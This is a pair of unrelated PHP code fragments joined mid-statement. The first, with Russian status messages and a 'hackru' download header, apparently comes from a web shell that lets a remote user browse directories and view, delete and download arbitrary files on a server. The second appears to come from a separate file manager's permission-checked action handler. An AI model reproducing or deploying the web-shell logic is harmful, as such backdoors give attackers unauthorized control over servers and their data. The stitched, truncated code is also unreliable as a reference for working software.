} $curdir = getcwd(); if (!@chdir($tm)) { exit("<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=alert>Нет доступа к дериктории, смотри CHMOD.</td></tr></table>"); } getdir(); chdir($curdir); $supsub = $gdir[$j - 1]; if (!isset($tm)) { $tm = getcwd(); } readdirdata($tm); } else { switch ($action) { case "view": viewfile($tm, $fi); break; case "delete": echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Файл <b>{$fi}</b> успешно удален.</font></center></td></tr></table>"; deletef($tm); break; case "download": if (isset($fatt) && strlen($fatt) > 0) { $attach = $fatt; header("Content-type: text/plain"); } else { $attach = $fi; header("Content-type: hackru"); } header("Content-disposition: attachment; filename=\"{$attach}\";"); readfile($tm . "/" . $fi);
if ($permdeleteuser == 1) { deluser($_REQUEST['muid']); } else { permerror("You do not currently have permission to delete users.\n"); } break; case "deleteuser": if ($permdeleteuser == 1) { deleteuser($_REQUEST['muid']); } else { permerror("You do not currently have permission to delete users.\n"); } break; case "view": if ($permget == 1) { viewfile($_REQUEST['file'], $d); } break; case "printerror": printerror($error); break; case "bulk_submit": if ($permmove != 1 && $_REQUEST['bulk_action'] == "move") { permerror("You do not currently have permission to move files/folders.\n"); } elseif ($permdelete != 1 && $_REQUEST['bulk_action'] == "delete") { permerror("You do not currently have permission to delete files/folders.\n"); } elseif ($permchmod != 1 && $_REQUEST['bulk_action'] == "chmod") { permerror("You do not currently have permission to change file/folders permissions.\n"); } else { bulk_submit($_REQUEST['bulk_action'], $d); }